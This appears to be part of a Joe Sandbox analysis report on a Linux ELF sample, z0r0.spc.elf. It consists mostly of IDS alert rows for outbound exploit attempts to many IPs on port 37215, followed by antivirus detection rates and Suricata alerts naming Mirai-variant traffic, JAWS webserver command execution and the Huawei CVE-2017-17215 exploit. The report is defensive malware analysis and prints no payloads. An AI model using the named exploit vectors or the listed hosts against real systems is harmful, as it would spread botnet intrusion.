2025-02-04T18:11:42.989615+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44992	41.7.140.151	37215	TCP
2025-02-04T18:11:42.989623+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48144	156.60.233.0	37215	TCP
2025-02-04T18:11:44.065977+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41832	156.158.79.191	37215	TCP
2025-02-04T18:11:44.079633+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34312	41.253.49.66	37215	TCP
2025-02-04T18:11:44.080151+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34360	156.146.215.98	37215	TCP
2025-02-04T18:11:44.084063+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49078	197.88.243.218	37215	TCP
2025-02-04T18:11:44.098916+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39126	41.190.19.200	37215	TCP
2025-02-04T18:11:44.578119+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51222	156.228.164.110	37215	TCP
2025-02-04T18:11:44.973776+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54430	156.158.216.173	37215	TCP
2025-02-04T18:11:44.977178+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35298	41.127.128.0	37215	TCP
2025-02-04T18:11:44.983197+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47078	41.114.117.190	37215	TCP
2025-02-04T18:11:44.985948+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41990	197.79.247.50	37215	TCP
2025-02-04T18:11:44.985948+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50026	156.206.254.225	37215	TCP
2025-02-04T18:11:44.987829+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38708	197.198.35.16	37215	TCP
2025-02-04T18:11:44.988326+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53756	197.57.30.186	37215	TCP
2025-02-04T18:11:44.988899+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40228	197.152.15.124	37215	TCP
2025-02-04T18:11:44.991830+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47110	197.44.208.174	37215	TCP
2025-02-04T18:11:44.991851+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41612	156.193.79.196	37215	TCP
2025-02-04T18:11:44.992124+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40230	156.80.185.156	37215	TCP
2025-02-04T18:11:45.146810+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55192	197.104.233.253	37215	TCP
2025-02-04T18:11:45.160769+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58656	156.64.0.128	37215	TCP
2025-02-04T18:11:45.956409+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41508	156.99.113.24	37215	TCP
2025-02-04T18:11:45.970245+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57236	156.60.115.244	37215	TCP
2025-02-04T18:11:45.970378+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53304	156.28.114.59	37215	TCP
2025-02-04T18:11:45.971090+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36858	156.80.73.90	37215	TCP
2025-02-04T18:11:45.972348+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39020	156.127.18.248	37215	TCP
2025-02-04T18:11:45.972707+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55670	156.166.178.3	37215	TCP
2025-02-04T18:11:45.973048+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53108	197.58.88.197	37215	TCP
2025-02-04T18:11:45.973086+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52954	156.79.255.142	37215	TCP
2025-02-04T18:11:45.974045+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36886	197.119.87.185	37215	TCP
2025-02-04T18:11:45.974222+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41032	156.147.94.235	37215	TCP
2025-02-04T18:11:45.974528+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40618	41.204.54.254	37215	TCP
2025-02-04T18:11:45.976179+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34764	197.34.184.215	37215	TCP
2025-02-04T18:11:45.985850+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39920	197.116.128.117	37215	TCP
2025-02-04T18:11:45.985914+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35880	41.136.19.221	37215	TCP
2025-02-04T18:11:45.989346+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59756	197.243.83.152	37215	TCP
2025-02-04T18:11:45.989619+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37002	156.237.202.67	37215	TCP
2025-02-04T18:11:45.989843+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57748	197.234.52.32	37215	TCP
2025-02-04T18:11:45.990492+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50130	156.14.214.230	37215	TCP
2025-02-04T18:11:45.990778+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44816	156.53.45.244	37215	TCP
2025-02-04T18:11:45.991048+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47382	41.210.51.165	37215	TCP
2025-02-04T18:11:45.991190+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51666	197.158.248.189	37215	TCP
2025-02-04T18:11:45.992500+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58970	197.58.112.233	37215	TCP
2025-02-04T18:11:46.035349+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39468	197.80.140.137	37215	TCP
2025-02-04T18:11:46.568199+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39100	156.225.90.134	37215	TCP
2025-02-04T18:11:46.933235+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43392	156.236.14.88	37215	TCP
2025-02-04T18:11:47.001500+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53070	197.137.12.64	37215	TCP
2025-02-04T18:11:47.001610+0100	2835222	1	A Network Trojan was detected	192.168.2.15	45358	41.234.149.164	37215	TCP
2025-02-04T18:11:47.002249+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59104	197.214.151.188	37215	TCP
2025-02-04T18:11:47.018937+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48378	197.153.147.0	37215	TCP
2025-02-04T18:11:47.019026+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41392	156.121.211.228	37215	TCP
2025-02-04T18:11:47.020842+0100	2835222	1	A Network Trojan was detected	192.168.2.15	45310	156.41.200.154	37215	TCP
2025-02-04T18:11:47.032778+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52344	41.13.201.6	37215	TCP
2025-02-04T18:11:47.035299+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35024	156.165.110.101	37215	TCP
2025-02-04T18:11:47.038413+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46044	41.59.4.95	37215	TCP
2025-02-04T18:11:47.040310+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59366	156.80.97.59	37215	TCP
2025-02-04T18:11:47.052155+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56160	156.73.163.22	37215	TCP
2025-02-04T18:11:47.054258+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35704	41.24.75.89	37215	TCP
2025-02-04T18:11:47.056033+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50394	156.242.156.33	37215	TCP
2025-02-04T18:11:47.143833+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51154	197.182.81.17	37215	TCP
2025-02-04T18:11:47.143872+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39036	156.130.121.177	37215	TCP
2025-02-04T18:11:47.165413+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52604	156.47.87.157	37215	TCP
2025-02-04T18:11:48.001603+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36418	156.110.236.154	37215	TCP
2025-02-04T18:11:48.002063+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33700	197.71.189.138	37215	TCP
2025-02-04T18:11:48.017108+0100	2835222	1	A Network Trojan was detected	192.168.2.15	45858	197.214.176.83	37215	TCP
2025-02-04T18:11:48.018067+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48330	197.84.79.40	37215	TCP
2025-02-04T18:11:48.018992+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33440	41.221.191.229	37215	TCP
2025-02-04T18:11:48.032495+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51154	156.54.76.237	37215	TCP
2025-02-04T18:11:48.048412+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59166	197.115.74.226	37215	TCP
2025-02-04T18:11:48.048470+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37228	156.197.91.65	37215	TCP
2025-02-04T18:11:48.049026+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33156	41.214.32.23	37215	TCP
2025-02-04T18:11:48.050010+0100	2835222	1	A Network Trojan was detected	192.168.2.15	45088	41.250.150.154	37215	TCP
2025-02-04T18:11:48.050300+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40350	197.86.44.39	37215	TCP
2025-02-04T18:11:48.050405+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51232	156.119.1.157	37215	TCP
2025-02-04T18:11:48.052275+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54636	197.127.188.92	37215	TCP
2025-02-04T18:11:48.052507+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50412	156.203.209.254	37215	TCP
2025-02-04T18:11:48.052595+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52172	156.174.59.56	37215	TCP
2025-02-04T18:11:48.053740+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43390	197.21.220.133	37215	TCP
2025-02-04T18:11:48.054043+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53368	156.111.51.215	37215	TCP
2025-02-04T18:11:48.054468+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51742	156.212.221.194	37215	TCP
2025-02-04T18:11:48.064010+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48422	156.167.118.169	37215	TCP
2025-02-04T18:11:48.064325+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35876	156.194.153.163	37215	TCP
2025-02-04T18:11:48.064327+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40212	197.183.113.213	37215	TCP
2025-02-04T18:11:48.064629+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43222	41.93.153.150	37215	TCP
2025-02-04T18:11:48.064996+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55530	41.137.108.19	37215	TCP
2025-02-04T18:11:48.065544+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36144	41.243.175.234	37215	TCP
2025-02-04T18:11:48.066611+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52740	197.140.242.216	37215	TCP
2025-02-04T18:11:48.066659+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46914	197.173.174.136	37215	TCP
2025-02-04T18:11:48.066771+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50974	156.157.29.74	37215	TCP
2025-02-04T18:11:48.067427+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42666	197.138.158.230	37215	TCP
2025-02-04T18:11:48.067869+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60290	41.65.253.82	37215	TCP
2025-02-04T18:11:48.068126+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42574	197.195.178.160	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55462	156.137.181.35	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35724	156.35.204.41	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55116	41.200.62.27	37215	TCP
2025-02-04T18:11:48.068597+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40134	197.117.139.86	37215	TCP
2025-02-04T18:11:48.068637+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52260	197.96.246.105	37215	TCP
2025-02-04T18:11:48.068720+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39304	197.230.75.185	37215	TCP
2025-02-04T18:11:48.069039+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47818	41.28.7.187	37215	TCP
2025-02-04T18:11:48.069100+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39196	197.217.210.140	37215	TCP
2025-02-04T18:11:48.069126+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42726	156.193.218.246	37215	TCP
2025-02-04T18:11:48.069172+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50034	197.166.194.252	37215	TCP
2025-02-04T18:11:48.069785+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41826	156.223.115.217	37215	TCP
2025-02-04T18:11:48.070767+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57036	197.114.86.99	37215	TCP
2025-02-04T18:11:48.072226+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57116	41.143.10.75	37215	TCP
2025-02-04T18:11:48.072241+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40830	156.87.5.7	37215	TCP
2025-02-04T18:11:48.072624+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52456	41.85.95.107	37215	TCP
2025-02-04T18:11:49.048655+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53260	156.251.53.109	37215	TCP
2025-02-04T18:11:49.048666+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49744	156.245.26.168	37215	TCP
2025-02-04T18:11:49.048821+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59158	41.52.186.233	37215	TCP
2025-02-04T18:11:49.049182+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35722	41.234.119.217	37215	TCP
2025-02-04T18:11:49.050079+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50736	41.120.185.178	37215	TCP
2025-02-04T18:11:49.050203+0100	2835222	1	A Network Trojan was detected	192.168.2.15	45374	156.81.131.250	37215	TCP
2025-02-04T18:11:49.050482+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33178	41.197.57.121	37215	TCP
2025-02-04T18:11:49.050725+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34482	197.63.184.83	37215	TCP
2025-02-04T18:11:49.052178+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46348	156.174.17.219	37215	TCP
2025-02-04T18:11:49.052434+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38782	197.252.192.19	37215	TCP
2025-02-04T18:11:49.052551+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37846	156.182.107.112	37215	TCP
2025-02-04T18:11:49.053876+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35618	156.73.111.27	37215	TCP
2025-02-04T18:11:49.054175+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50658	41.42.215.56	37215	TCP
2025-02-04T18:11:49.064092+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49576	197.21.28.245	37215	TCP
2025-02-04T18:11:49.065720+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46520	197.222.42.116	37215	TCP
2025-02-04T18:11:49.065762+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37734	41.206.96.114	37215	TCP
2025-02-04T18:11:49.066132+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60858	197.64.98.150	37215	TCP
2025-02-04T18:11:49.066248+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53594	41.39.206.0	37215	TCP
2025-02-04T18:11:49.066374+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39584	197.105.30.163	37215	TCP
2025-02-04T18:11:49.066578+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50864	41.99.147.75	37215	TCP
2025-02-04T18:11:49.066672+0100	2835222	1	A Network Trojan was detected	192.168.2.15	43990	41.218.164.96	37215	TCP
2025-02-04T18:11:49.067685+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54100	41.46.173.35	37215	TCP
2025-02-04T18:11:49.068083+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53268	197.66.30.115	37215	TCP
2025-02-04T18:11:49.068167+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41568	41.238.198.65	37215	TCP
2025-02-04T18:11:49.069516+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44650	156.214.132.168	37215	TCP
2025-02-04T18:11:49.069846+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42568	197.36.149.96	37215	TCP
2025-02-04T18:11:49.071676+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58880	41.18.226.29	37215	TCP
2025-02-04T18:11:50.050135+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48220	197.240.250.3	37215	TCP
2025-02-04T18:11:50.064019+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41518	156.11.101.228	37215	TCP
2025-02-04T18:11:50.064026+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60764	41.120.96.211	37215	TCP
2025-02-04T18:11:50.064884+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58036	156.113.150.12	37215	TCP
2025-02-04T18:11:50.065667+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44554	156.215.191.80	37215	TCP
2025-02-04T18:11:50.065983+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39368	197.140.151.129	37215	TCP
2025-02-04T18:11:50.066127+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36324	41.215.202.67	37215	TCP
2025-02-04T18:11:50.070746+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40472	197.145.133.213	37215	TCP
2025-02-04T18:11:50.071038+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33870	41.182.224.24	37215	TCP
2025-02-04T18:11:50.081359+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38676	41.174.162.150	37215	TCP
2025-02-04T18:11:50.081543+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40846	197.36.190.160	37215	TCP
2025-02-04T18:11:50.083435+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53598	156.182.235.157	37215	TCP
2025-02-04T18:11:50.085886+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55220	156.51.228.214	37215	TCP
2025-02-04T18:11:50.095127+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59734	41.196.83.106	37215	TCP
2025-02-04T18:11:50.095219+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40192	197.193.66.167	37215	TCP
2025-02-04T18:11:50.096011+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33032	156.54.150.133	37215	TCP
2025-02-04T18:11:50.097020+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54882	197.35.168.168	37215	TCP
2025-02-04T18:11:50.099396+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37810	41.98.45.223	37215	TCP
2025-02-04T18:11:50.101396+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51718	41.227.108.81	37215	TCP
2025-02-04T18:11:50.805332+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49734	197.215.149.143	37215	TCP
2025-02-04T18:11:51.064130+0100	2835222	1	A Network Trojan was detected	192.168.2.15	36768	41.226.106.78	37215	TCP
2025-02-04T18:11:51.079712+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49862	41.133.59.99	37215	TCP
2025-02-04T18:11:51.083769+0100	2835222	1	A Network Trojan was detected	192.168.2.15	54470	197.128.142.30	37215	TCP
2025-02-04T18:11:51.097454+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34244	156.46.215.103	37215	TCP
2025-02-04T18:11:51.097459+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53816	41.119.236.21	37215	TCP
2025-02-04T18:11:51.101065+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57464	156.156.184.73	37215	TCP
2025-02-04T18:11:51.101149+0100	2835222	1	A Network Trojan was detected	192.168.2.15	59606	41.245.10.189	37215	TCP
2025-02-04T18:11:51.117203+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56184	197.243.14.238	37215	TCP
2025-02-04T18:11:51.117998+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50666	197.30.141.58	37215	TCP
2025-02-04T18:11:51.319108+0100	2835222	1	A Network Trojan was detected	192.168.2.15	51758	197.6.58.51	37215	TCP
2025-02-04T18:11:52.142320+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38758	156.228.59.243	37215	TCP
2025-02-04T18:11:52.142430+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35412	156.27.33.190	37215	TCP
2025-02-04T18:11:52.142500+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35776	197.129.167.27	37215	TCP
2025-02-04T18:11:52.142651+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57014	156.213.195.231	37215	TCP
2025-02-04T18:11:52.144013+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40800	41.132.7.111	37215	TCP
2025-02-04T18:11:52.144014+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37072	156.141.92.154	37215	TCP
2025-02-04T18:11:52.144139+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35546	156.28.127.122	37215	TCP
2025-02-04T18:11:52.144268+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57962	197.126.110.190	37215	TCP
2025-02-04T18:11:52.144579+0100	2835222	1	A Network Trojan was detected	192.168.2.15	32832	156.31.61.108	37215	TCP
2025-02-04T18:11:52.145879+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50740	41.234.28.79	37215	TCP
2025-02-04T18:11:52.146199+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34142	197.181.221.189	37215	TCP
2025-02-04T18:11:52.147700+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53150	197.249.221.100	37215	TCP
2025-02-04T18:11:52.147930+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52662	41.136.226.237	37215	TCP
2025-02-04T18:11:52.148099+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53318	197.211.188.225	37215	TCP
2025-02-04T18:11:52.160189+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38226	197.55.241.36	37215	TCP
2025-02-04T18:11:52.163338+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57378	41.87.45.45	37215	TCP
2025-02-04T18:11:52.236750+0100	2835222	1	A Network Trojan was detected	192.168.2.15	34116	197.234.83.113	37215	TCP
2025-02-04T18:11:53.141477+0100	2835222	1	A Network Trojan was detected	192.168.2.15	42012	41.64.149.184	37215	TCP
2025-02-04T18:11:53.142196+0100	2835222	1	A Network Trojan was detected	192.168.2.15	35616	156.36.152.183	37215	TCP
2025-02-04T18:11:53.142274+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56642	197.135.112.122	37215	TCP
2025-02-04T18:11:53.142772+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38374	41.250.33.100	37215	TCP
2025-02-04T18:11:53.142846+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39078	41.140.131.215	37215	TCP
2025-02-04T18:11:53.143831+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47066	156.20.100.115	37215	TCP
2025-02-04T18:11:53.144008+0100	2835222	1	A Network Trojan was detected	192.168.2.15	49532	41.176.35.55	37215	TCP
2025-02-04T18:11:53.144019+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60586	156.103.35.184	37215	TCP
2025-02-04T18:11:53.144133+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46452	197.61.155.211	37215	TCP
2025-02-04T18:11:53.144270+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48234	41.210.2.241	37215	TCP
2025-02-04T18:11:53.144298+0100	2835222	1	A Network Trojan was detected	192.168.2.15	56226	41.240.131.196	37215	TCP
2025-02-04T18:11:53.144313+0100	2835222	1	A Network Trojan was detected	192.168.2.15	47470	197.254.99.83	37215	TCP
2025-02-04T18:11:53.144840+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37714	156.220.75.246	37215	TCP
2025-02-04T18:11:53.146036+0100	2835222	1	A Network Trojan was detected	192.168.2.15	50436	41.159.35.88	37215	TCP
2025-02-04T18:11:53.146324+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46592	156.127.55.171	37215	TCP
2025-02-04T18:11:53.157808+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39420	156.85.233.40	37215	TCP
2025-02-04T18:11:53.157874+0100	2835222	1	A Network Trojan was detected	192.168.2.15	44752	156.138.212.20	37215	TCP
2025-02-04T18:11:53.157993+0100	2835222	1	A Network Trojan was detected	192.168.2.15	52360	41.110.170.239	37215	TCP
2025-02-04T18:11:53.160491+0100	2835222	1	A Network Trojan was detected	192.168.2.15	41710	197.139.199.106	37215	TCP
2025-02-04T18:11:53.160497+0100	2835222	1	A Network Trojan was detected	192.168.2.15	33382	41.50.215.93	37215	TCP
2025-02-04T18:11:53.160543+0100	2835222	1	A Network Trojan was detected	192.168.2.15	38244	41.33.245.93	37215	TCP
2025-02-04T18:11:53.160638+0100	2835222	1	A Network Trojan was detected	192.168.2.15	55346	156.89.99.88	37215	TCP
2025-02-04T18:11:53.160866+0100	2835222	1	A Network Trojan was detected	192.168.2.15	48670	41.148.175.29	37215	TCP
2025-02-04T18:11:53.161910+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46462	156.195.120.2	37215	TCP
2025-02-04T18:11:53.163883+0100	2835222	1	A Network Trojan was detected	192.168.2.15	60406	156.7.78.77	37215	TCP
2025-02-04T18:11:53.163949+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46138	156.46.96.61	37215	TCP
2025-02-04T18:11:53.179463+0100	2835222	1	A Network Trojan was detected	192.168.2.15	53704	156.68.88.220	37215	TCP
2025-02-04T18:11:53.179524+0100	2835222	1	A Network Trojan was detected	192.168.2.15	46522	197.141.228.215	37215	TCP
2025-02-04T18:11:53.179937+0100	2835222	1	A Network Trojan was detected	192.168.2.15	57970	197.173.111.136	37215	TCP
2025-02-04T18:11:55.173660+0100	2835222	1	A Network Trojan was detected	192.168.2.15	40706	41.200.32.82	37215	TCP
2025-02-04T18:11:55.175193+0100	2835222	1	A Network Trojan was detected	192.168.2.15	58160	41.127.12.4	37215	TCP
2025-02-04T18:11:55.179460+0100	2835222	1	A Network Trojan was detected	192.168.2.15	39384	197.253.89.235	37215	TCP
2025-02-04T18:11:55.794475+0100	2835222	1	A Network Trojan was detected	192.168.2.15	37508	156.239.255.156	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: z0r0.spc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: z0r0.spc.elf	Virustotal: Detection: 64%			Perma Link
Source: z0r0.spc.elf	ReversingLabs: Detection: 71%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56376 -> 66.135.17.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56376 -> 66.135.17.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56618 -> 163.191.21.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56618 -> 163.191.21.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52314 -> 150.158.10.51:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52314 -> 150.158.10.51:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36874 -> 152.23.93.45:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36874 -> 152.23.93.45:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34772 -> 156.229.156.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37246 -> 156.231.87.111:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60888 -> 195.210.137.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60888 -> 195.210.137.30:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60960 -> 41.164.28.9:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:34476 -> 177.53.138.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:34476 -> 177.53.138.249:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47622 -> 41.234.231.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35578 -> 197.210.178.63:37215
